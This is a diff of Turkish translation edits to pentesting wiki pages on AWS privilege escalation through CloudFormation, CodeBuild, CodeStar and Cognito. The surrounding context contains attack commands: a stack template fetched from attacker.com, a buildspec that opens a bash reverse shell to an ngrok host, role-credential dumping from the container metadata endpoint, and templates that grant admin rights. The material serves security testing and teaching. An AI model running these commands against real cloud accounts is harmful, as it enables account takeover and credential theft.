+`apigateway:UpdateVpcLink` iznine sahip bir saldırgan, **mevcut bir VPC Bağlantısını farklı bir Ağ Yük Dengeleyicisine yönlendirecek şekilde değiştirebilir, bu da özel API trafiğini yetkisiz veya kötü niyetli kaynaklara yönlendirme potansiyeline sahiptir**.
```bash
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
index 26e932728..f4e2282e8 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md
@@ -4,6 +4,6 @@
### chime:CreateApiKey
-YAPILACAK
+TODO
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index f72271311..464c16338 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -12,7 +12,7 @@ Cloudformation hakkında daha fazla bilgi için kontrol edin:
### `iam:PassRole`, `cloudformation:CreateStack`
-Bu izinlere sahip bir saldırgan **yetkileri artırabilir** ve **belirtilen bir rolün izinleri altında eylemler gerçekleştirmek için** kendi sunucusunda barındırılan özel bir şablon ile bir **CloudFormation yığını** oluşturarak:
+Bu izinlere sahip bir saldırgan, **belirtilen bir rolün izinleri altında eylemler gerçekleştirmek için** kendi sunucusunda barındırılan özel bir şablon ile bir **CloudFormation yığını** oluşturarak **yetkileri artırabilir:**
```bash
aws cloudformation create-stack --stack-name \
--template-url http://attacker.com/attackers.template \
@@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
-Bu durumda, **mevcut bir cloudformation yığınını** güncelleyerek ve önceki senaryodaki gibi ayrıcalıkları artırarak kötüye kullanabilirsiniz:
+Bu durumda, **mevcut bir cloudformation yığınını** kötüye kullanarak güncelleyebilir ve önceki senaryodaki gibi ayrıcalıkları artırabilirsiniz:
```bash
aws cloudformation update-stack \
--stack-name privesc \
@@ -43,7 +43,7 @@ aws cloudformation update-stack \
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
-Bu izne sahipseniz ancak **hiç `iam:PassRole` yoksa**, yine de **kullanılan yığınları güncelleyebilir** ve **zaten eklenmiş IAM Rolleri** kötüye kullanabilirsiniz. Sömürü örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin).
+Bu izne sahipseniz ancak **`iam:PassRole` yoksa**, yine de **kullanılan yığınları güncelleyebilir** ve **zaten eklenmiş IAM Rolleri** kötüye kullanabilirsiniz. Kötüye kullanım örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin).
`cloudformation:SetStackPolicy` izni, bir yığın üzerinde **kendinize `UpdateStack` izni vermek** için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.
@@ -51,9 +51,9 @@ Bu izne sahipseniz ancak **hiç `iam:PassRole` yoksa**, yine de **kullanılan y
### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
-Bir rolü **geçirme ve bir ChangeSet oluşturma & yürütme** izinlerine sahip bir saldırgan, **yeni bir cloudformation yığını oluşturup/güncelleyebilir ve cloudformation hizmet rollerini** CreateStack veya UpdateStack ile olduğu gibi kötüye kullanabilir.
+Bir rolü **geçirme ve bir ChangeSet oluşturma & yürütme** izinlerine sahip bir saldırgan, **yeni bir cloudformation yığını oluşturup/güncelleyerek cloudformation hizmet rollerini kötüye kullanabilir**; tıpkı CreateStack veya UpdateStack ile olduğu gibi.
-Aşağıdaki sömürü, **ChangeSet izinlerini** kullanarak bir yığın oluşturmanın **bir varyasyonudur**[ **CreateStack bir**](./#iam-passrole-cloudformation-createstack).
+Aşağıdaki kötüye kullanım, **ChangeSet izinlerini** kullanarak bir yığın oluşturmanın **bir varyasyonudur**[ **CreateStack birine**](./#iam-passrole-cloudformation-createstack).
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -81,25 +81,25 @@ aws cloudformation describe-stacks \
```
`cloudformation:SetStackPolicy` izni, bir yığın üzerinde **kendinize `ChangeSet` izinleri vermek** için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz.
-**Olası Etki:** cloudformation hizmet rolleri için privesc.
+**Olası Etki:** cloudformation hizmet rollerine privesc.
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
-Bu, **IAM rolleri** geçmeden önceki yöntem gibidir, bu nedenle sadece **zaten eklenmiş olanları kötüye kullanabilirsiniz**, sadece parametreyi değiştirin:
+Bu, **IAM rollerini** geçmeden önceki yöntem gibidir, bu nedenle sadece **zaten eklenmiş olanları** kötüye kullanabilirsiniz, sadece parametreyi değiştirin:
```
--change-set-type UPDATE
```
-**Olası Etki:** Zaten ekli olan cloudformation hizmet rolüne privesc.
+**Olası Etki:** Zaten eklenmiş olan cloudformation hizmet rolüne privesc.
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
-Bir saldırgan, bu izinleri kötüye kullanarak, keyfi cloudformation rollerini kötüye kullanmak için StackSet'ler oluşturup/güncelleyebilir.
+Bir saldırgan, bu izinleri kötüye kullanarak rastgele cloudformation rollerini kötüye kullanmak için StackSet'ler oluşturup/güncelleyebilir.
**Olası Etki:** Cloudformation hizmet rollerine privesc.
### `cloudformation:UpdateStackSet`
-Bir saldırgan, passRole izni olmadan bu izni kötüye kullanarak, ekli cloudformation rollerini kötüye kullanmak için StackSet'leri güncelleyebilir.
+Bir saldırgan, ekli cloudformation rollerini kötüye kullanmak için passRole izni olmadan StackSet'leri güncellemek için bu izni kötüye kullanabilir.
**Olası Etki:** Ekli cloudformation rollerine privesc.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index 5482940eb..2195c5fdf 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
-Bir saldırgan, örneğin, **admin** kullanıcısı için **anahtarlar** üreten bir **cloudformation şablonu** kullanabilir:
+Bir saldırgan, örneğin, **admin** kullanıcısı için **anahtarlar üreten** bir **cloudformation şablonu** kullanabilir:
```json
{
"Resources": {
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index 975c598c8..d348be913 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -63,7 +63,7 @@ aws codebuild start-build-batch --project --buildspec-override fi
- `StartBuild`, belirli bir `buildspec.yml` kullanarak tek bir build işini tetikler.
- `StartBuildBatch`, daha karmaşık yapılandırmalarla (birden fazla build'i paralel olarak çalıştırmak gibi) bir dizi build başlatmanıza olanak tanır.
-**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme.
+**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme.
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
```
{{#endtab }}
-{{#tab name="Örnek2" }}
+{{#tab name="Example2" }}
```bash
# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
@@ -137,20 +137,20 @@ aws codebuild start-build --project-name reverse-shell-project
{{#endtab }}
{{#endtabs }}
-**Potansiyel Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme.
+**Olası Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme.
> [!WARNING]
> Bir **Codebuild konteynerinde** dosya `/codebuild/output/tmp/env.sh` **metadata kimlik bilgilerine** erişmek için gereken tüm ortam değişkenlerini içerir.
-> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ortam değişkenini içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır.
+> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **ortam değişkeni `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır.
-> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökme işlemi yapabileceksiniz.
+> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökebileceksiniz.
-> Ayrıca, **konteyner hakkında metadata bilgilerini almak için** tam URL'yi içeren **`ECS_CONTAINER_METADATA_URI`** ortam değişkenini de içerir.
+> Ayrıca, **konteyner hakkında metadata bilgisi almak için** tam URL'yi içeren **ortam değişkeni `ECS_CONTAINER_METADATA_URI`** de içerir.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
-Önceki bölümde olduğu gibi, bir build projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz.
+Önceki bölümde olduğu gibi, bir yapı projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz.
```bash
REV_PATH="/tmp/codebuild_pwn.json"
@@ -264,11 +264,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
{{#endtab }}
{{#endtabs }}
-**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme.
+**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan privesc.
### SSM
-**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine** girmek mümkündür.
+**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine girmek** mümkündür.
Codebuild projesinin bir kesme noktası olması gerekecek:
@@ -289,9 +289,9 @@ Daha fazla bilgi için [**belgelere göz atın**](https://docs.aws.amazon.com/co
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
-Belirli bir CodeBuild projesinin `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depolayan bir saldırgan, bu projeyi başlatıp/yeniden başlatabiliyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
+Belirli bir CodeBuild projesinin bir yapısını başlatabilen/yeniden başlatabilen bir saldırgan, `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depoluyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
-Not: Yükseltme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
+Not: yükselme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
```bash
aws s3 cp s3:///buildspec.yml ./
@@ -308,7 +308,7 @@ aws codebuild start-build --project-name
# Wait for the reverse shell :)
```
-Bunu almak için **buildspec** gibi bir şey kullanabilirsiniz **reverse shell**:
+Bunu yapmak için **buildspec** gibi bir şey kullanabilirsiniz:
```yaml:buildspec.yml
version: 0.2
@@ -317,13 +317,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
-**Etkisi:** Genellikle yüksek ayrıcalıklara sahip olan AWS CodeBuild işçisi tarafından kullanılan role doğrudan ayrıcalık yükseltme.
+**Etkisi:** AWS CodeBuild işçisi tarafından kullanılan role doğrudan yetki yükseltme, genellikle yüksek ayrıcalıklara sahiptir.
> [!WARNING]
> buildspec'in zip formatında beklenebileceğini unutmayın, bu nedenle bir saldırganın indirmesi, açması, kök dizininden `buildspec.yml` dosyasını değiştirmesi, tekrar ziplemesi ve yüklemesi gerekecektir.
Daha fazla ayrıntı [burada](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) bulunabilir.
-**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan ayrıcalık yükseltme.
+**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index 7e9d64bfd..5600016b4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -12,11 +12,11 @@ Codepipeline hakkında daha fazla bilgi için kontrol edin:
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-Bir kod pipeline'ı oluştururken, çalıştırılacak bir **codepipeline IAM Rolü belirtebilirsiniz**, bu nedenle onları tehlikeye atabilirsiniz.
+Bir kod pipeline'ı oluştururken, çalıştırmak için bir **codepipeline IAM Rolü belirtebilirsiniz**, bu nedenle onları tehlikeye atabilirsiniz.
Önceki izinlerin yanı sıra, **kodun saklandığı yere erişim** (S3, ECR, github, bitbucket...) ihtiyacınız olacak.
-Bunu web sayfasında süreci gerçekleştirerek test ettim, daha önce belirtilen izinler, bir codepipeline oluşturmak için gereken List/Get izinleri değildir, ancak web'de oluşturmak için ayrıca şunlara ihtiyacınız olacak: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
+Bu süreci web sayfasında gerçekleştirerek test ettim, daha önce belirtilen izinler, bir codepipeline oluşturmak için gereken List/Get izinleri değildir, ancak web'de oluşturmak için ayrıca şunlara da ihtiyacınız olacak: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
**Build projesinin oluşturulması** sırasında bir **çalıştırılacak komut** (rev shell?) belirtebilir ve build aşamasını **yetkili kullanıcı** olarak çalıştırabilirsiniz, bu, saldırganın tehlikeye atması için gereken yapılandırmadır:
@@ -30,8 +30,8 @@ Bunu web sayfasında süreci gerçekleştirerek test ettim, daha önce belirtile
### `codepipeline:pollforjobs`
-[AWS,](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) şunları belirtir:
+[AWS,](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) belirtmektedir:
-> Bu API çağrıldığında, CodePipeline **pipeline için artefaktları saklamak için kullanılan S3 bucket'ı için geçici kimlik bilgileri döndürür**, eğer işlem, giriş veya çıkış artefaktları için o S3 bucket'a erişim gerektiriyorsa. Bu API ayrıca **işlem için tanımlanan herhangi bir gizli değeri döndürür**.
+> Bu API çağrıldığında, CodePipeline **pipeline için artefaktları saklamak için kullanılan S3 bucket'ı için geçici kimlik bilgileri döner**, eğer işlem, giriş veya çıkış artefaktları için o S3 bucket'a erişim gerektiriyorsa. Bu API ayrıca **işlem için tanımlanan herhangi bir gizli değeri** de döner.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index 0ebede098..561346fe9 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -39,9 +39,9 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-role "Owner" \
--remote-access-allowed
```
-Eğer zaten **projenin üyesiyseniz**, rolünüzü `codestar:AssociateTeamMember` yerine **`codestar:UpdateTeamMember`** iznini kullanarak **sahip** olarak **güncelleyebilirsiniz**.
+Eğer zaten **projenin üyesiyseniz**, **`codestar:UpdateTeamMember`** iznini kullanarak rolünüzü `codestar:AssociateTeamMember` yerine sahip olarak **güncelleyebilirsiniz**.
-**Olası Etki:** Oluşturulan codestar politikasına privesc. Bu politikanın bir örneğini bulabilirsiniz:
+**Olası Etki:** Oluşturulan codestar politikasına privesc. Bu politikanın bir örneğini şurada bulabilirsiniz:
{{#ref}}
codestar-createproject-codestar-associateteammember.md
@@ -51,20 +51,20 @@ codestar-createproject-codestar-associateteammember.md
1. **Yeni Bir Proje Oluşturun:**
- Yeni bir projenin oluşturulmasını başlatmak için **`codestar:CreateProjectFromTemplate`** eylemini kullanın.
-- Başarılı bir şekilde oluşturulduğunda, **`cloudformation:UpdateStack`** izni otomatik olarak verilir.
+- Başarılı bir şekilde oluşturulduğunda, **`cloudformation:UpdateStack`** için erişim otomatik olarak verilir.
- Bu erişim, `CodeStarWorker--CloudFormation` IAM rolü ile ilişkili bir yığına yöneliktir.
2. **Hedef Yığını Güncelleyin:**
- Verilen CloudFormation izinleri ile belirtilen yığını güncellemeye devam edin.
- Yığının adı genellikle iki desenle uyumlu olacaktır:
- `awscodestar--infrastructure`
- `awscodestar--lambda`
-- Kesin ad, seçilen şablona bağlıdır (örnek istismar betiğine bakınız).
+- Kesin ad, seçilen şablona bağlıdır (örnek istismar betiğine atıfta bulunarak).
3. **Erişim ve İzinler:**
- Güncelleme sonrası, yığınla bağlantılı **CloudFormation IAM rolü** ile atanan yetenekleri elde edersiniz.
- Not: Bu, doğası gereği tam yönetici ayrıcalıkları sağlamaz. Ayrıcalıkları daha da yükseltmek için ortamda ek yanlış yapılandırılmış kaynaklar gerekebilir.
Daha fazla bilgi için orijinal araştırmaya bakın: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/).\
-İstismarı [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py) adresinde bulabilirsiniz.
+İstismarı şurada bulabilirsiniz: [https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py)
**Olası Etki:** Cloudformation IAM rolüne privesc.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
index 2ac4228fa..82de0ff8c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md
@@ -2,7 +2,7 @@
{{#include ../../../../banners/hacktricks-training.md}}
-Bu, kullanıcının privesc yapabileceği oluşturulmuş politikadır (proje adı `supercodestar` idi):
+Bu, kullanıcının privesc yapabileceği oluşturulan politikadır (proje adı `supercodestar` idi):
```json
{
"Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index a70e1a5fe..47aa53fea 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
-Bu izinlerle, **arbitrary actions** gerçekleştirmek için **codestar IAM Rolü** kötüye kullanabilirsiniz **cloudformation template** aracılığıyla.
+Bu izinlerle, **arbitrary actions** gerçekleştirmek için **codestar IAM Rolü** istismar edebilirsiniz **cloudformation template** aracılığıyla.
-Bunu istismar etmek için, saldırılan hesaptan **erişilebilir bir S3 bucket** oluşturmanız gerekir. `toolchain.json` adında bir dosya yükleyin. Bu dosya, **cloudformation template exploit** içermelidir. Aşağıdaki, kontrolünüz altındaki bir kullanıcıya yönetilen bir politika atamak ve **admin permissions** vermek için kullanılabilir:
+Bunu istismar etmek için, saldırılan hesaptan **erişilebilir bir S3 bucket** oluşturmanız gerekir. `toolchain.json` adında bir dosya yükleyin. Bu dosya, kontrolünüz altındaki bir kullanıcıya yönetilen bir politika atamak ve **admin permissions** vermek için kullanılabilecek **cloudformation template exploit** içermelidir:
```json:toolchain.json
{
"Resources": {
@@ -28,13 +28,13 @@ Bunu istismar etmek için, saldırılan hesaptan **erişilebilir bir S3 bucket**
}
}
```
-Ayrıca bu `boş zip` dosyasını **bucket**'a **yükleyin**:
+Ayrıca bu `empty zip` dosyasını **bucket**'a **yükleyin**:
{% file src="../../../../images/empty.zip" %}
-**Her iki dosyanın da kurban hesabı tarafından erişilebilir olması gerektiğini** unutmayın.
+Unutmayın ki **her iki dosyanın bulunduğu bucket, mağdur hesabı tarafından erişilebilir olmalıdır**.
-Her iki şeyi yükledikten sonra, bir **codestar** projesi oluşturarak **istismar** işlemine geçebilirsiniz:
+Her iki şey yüklendikten sonra, bir **codestar** projesi oluşturarak **istismar** işlemine geçebilirsiniz:
```bash
PROJECT_NAME="supercodestar"
@@ -79,6 +79,6 @@ aws codestar create-project \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH
```
-Bu istismar, **bu ayrıcalıkların Pacu istismarına** dayanmaktadır: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Burada, bir kullanıcı yerine bir rol için yönetilen bir admin politikası oluşturma varyasyonunu bulabilirsiniz.
+Bu istismar, bu yetkilerin **Pacu istismarına** dayanmaktadır: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Üzerinde, bir kullanıcı yerine bir rol için yönetilen bir admin politikası oluşturma varyasyonunu bulabilirsiniz.
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index f46ccd01f..66b303059 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -12,11 +12,11 @@ Cognito hakkında daha fazla bilgi için kontrol edin:
### Kimlik Havuzundan kimlik bilgilerini toplama
-Cognito, **kimlik doğrulanmış** ve **kimlik doğrulanmamış** **kullanıcılara** **IAM rol kimlik bilgileri** verebildiğinden, bir uygulamanın **Kimlik Havuzu ID'sini** (uygulamada sabit kodlanmış olmalıdır) bulursanız yeni kimlik bilgileri elde edebilir ve dolayısıyla privesc gerçekleştirebilirsiniz (muhtemelen daha önce hiçbir kimlik bilgisine sahip olmadığınız bir AWS hesabında).
+Cognito, **kimlik doğrulanmış** ve **kimlik doğrulanmamış** **kullanıcılara** **IAM rol kimlik bilgileri** verebildiğinden, bir uygulamanın **Kimlik Havuzu ID'sini** bulursanız (uygulamada sabit kodlanmış olmalıdır) yeni kimlik bilgileri elde edebilir ve dolayısıyla privesc elde edebilirsiniz (muhtemelen daha önce hiçbir kimlik bilgisine sahip olmadığınız bir AWS hesabında).
Daha fazla bilgi için [**bu sayfayı kontrol edin**](../aws-unauthenticated-enum-access/#cognito).
-**Olası Etki:** Kimlik doğrulanmamış kullanıcılara bağlı hizmet rolüne doğrudan privesc (ve muhtemelen kimlik doğrulanmış kullanıcılara bağlı olanına).
+**Potansiyel Etki:** Kimlik doğrulanmamış kullanıcılara bağlı hizmet rolüne doğrudan privesc (ve muhtemelen kimlik doğrulanmış kullanıcılara bağlı olanına).
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
@@ -32,13 +32,13 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
-Eğer cognito uygulaması **kimlik doğrulaması yapılmamış kullanıcıları etkinleştirmemişse**, bunu etkinleştirmek için `cognito-identity:UpdateIdentityPool` iznine de ihtiyacınız olabilir.
+Eğer cognito uygulaması **kimlik doğrulaması yapılmamış kullanıcıları etkinleştirmemişse** bunu etkinleştirmek için `cognito-identity:UpdateIdentityPool` iznine de ihtiyacınız olabilir.
**Olası Etki:** Herhangi bir cognito rolüne doğrudan yetki yükseltme.
### `cognito-identity:update-identity-pool`
-Bu izne sahip bir saldırgan, örneğin kontrolü altında bir Cognito Kullanıcı Havuzu veya giriş yapabileceği başka bir kimlik sağlayıcısı ayarlayabilir **ve bu Cognito Kimlik Havuzuna erişim sağlamak için bir yol olarak** kullanabilir. Ardından, sadece o kullanıcı sağlayıcısında **giriş yapmak**, **Kimlik Havuzundaki yapılandırılmış kimlik doğrulamalı role erişmesine izin verecektir.**
+Bu izne sahip bir saldırgan, örneğin kontrolü altında bir Cognito Kullanıcı Havuzu veya giriş yapabileceği başka bir kimlik sağlayıcısı ayarlayabilir **bu Cognito Kimlik Havuzuna erişim sağlamak için**. Ardından, sadece o kullanıcı sağlayıcısında **giriş yapmak**, **Kimlik Havuzundaki yapılandırılmış kimlik doğrulamalı role erişmesine izin verecektir**.
```bash
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
@@ -69,7 +69,7 @@ aws cognito-identity update-identity-pool \
--allow-unauthenticated-identities
--allow-classic-flow
```
-**Potansiyel Etki**: Kimlik havuzundaki yapılandırılmış kimlik doğrulamalı IAM rolünü tehlikeye atma.
+**Olası Etki**: Kimlik havuzundaki yapılandırılmış kimlik doğrulamalı IAM rolünü tehlikeye atma.
### `cognito-idp:AdminAddUserToGroup`
@@ -80,7 +80,7 @@ aws cognito-idp admin-add-user-to-group \
--username \
--group-name
```
-**Olası Etki:** Diğer Cognito gruplarına ve Kullanıcı Havuz Gruplarına bağlı IAM rollerine privesc.
+**Olası Etki:** Diğer Cognito gruplarına ve Kullanıcı Havuz Gruplarına ekli IAM rollerine privesc.
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
@@ -98,7 +98,7 @@ aws cognito-idp admin-confirm-sign-up \
--user-pool-id \
--username
```
-**Potansiyel Etki:** Yeni bir kullanıcı kaydedebiliyorsanız, kimlik havuzundaki IAM rolüne dolaylı yetki yükseltme. Herhangi bir hesabı onaylayarak diğer uygulama işlevlerine dolaylı yetki yükseltme.
+**Potansiyel Etki:** Yeni bir kullanıcı kaydedebiliyorsanız, kimlik havuzu IAM rolüne dolaylı privesc. Herhangi bir hesabı onaylayarak diğer uygulama işlevlerine dolaylı privesc.
### `cognito-idp:AdminCreateUser`
@@ -111,17 +111,17 @@ aws cognito-idp admin-create-user \
[--validation-data ]
[--temporary-password ]
```
-**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan privesc, kimliği doğrulanmış kullanıcılar için. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc.
+**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan yetki yükseltme (privesc) için kimlik doğrulanmış kullanıcılar. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme (privesc).
### `cognito-idp:AdminEnableUser`
